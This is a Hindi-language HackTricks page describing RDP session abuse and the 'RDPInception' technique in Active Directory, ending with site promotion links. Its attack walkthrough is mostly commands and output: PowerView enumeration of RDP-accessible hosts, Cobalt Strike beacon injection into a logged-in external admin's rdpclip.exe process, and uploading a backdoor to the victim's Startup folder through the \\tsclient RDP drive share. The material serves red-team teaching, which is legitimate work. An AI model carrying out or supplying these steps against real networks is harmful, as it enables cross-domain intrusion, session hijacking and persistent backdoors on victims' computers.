6.3 KiB
RDP सत्र दुरुपयोग
यदि बाहरी समूह को मौजूदा डोमेन में किसी भी कंप्यूटर का RDP एक्सेस होता है, तो हमलावर उस कंप्यूटर को कंप्रोमाइज़ कर सकता है और उसका इंतजार कर सकता है।
एक बार जब उपयोगकर्ता RDP के माध्यम से पहुंच गया है, तो हमलावर उस उपयोगकर्ता के सत्र में पिवट कर सकता है और बाहरी डोमेन में उसकी अनुमतियों का दुरुपयोग कर सकता है।
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user
अन्य उपकरणों के साथ सत्र चोरी करने के अन्य तरीकों की जांच करें इस पृष्ठ में।
RDPInception
यदि एक उपयोगकर्ता RDP के माध्यम से एक मशीन में पहुंचता है जहां एक हमलावर उसकी प्रतीक्षा कर रहा है, तो हमलावर को उपयोगकर्ता के RDP सत्र में एक बीकन संचित करने की क्षमता होगी और यदि पीड़ित ने अपनी ड्राइव माउंट की है जब RDP के माध्यम से पहुंचता है, तो हमलावर उसे पहुंच सकता है।
इस मामले में आप सिर्फ पीड़ितों के मूल कंप्यूटर को भंग कर सकते हैं, स्टार्टअप फ़ोल्डर में एक बैकडोर लिखकर।
# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c
Size Type Last Modified Name
---- ---- ------------- ----
dir 02/10/2021 04:11:30 $Recycle.Bin
dir 02/10/2021 03:23:44 Boot
dir 02/20/2021 10:15:23 Config.Msi
dir 10/18/2016 01:59:39 Documents and Settings
[...]
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करना चाहिए? सदस्यता योजनाएं की जांच करें!
-
खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
-
प्राप्त करें आधिकारिक PEASS & HackTricks swag
-
शामिल हों 💬 Discord समूह या टेलीग्राम समूह में या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
-
अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो को PR जमा करके।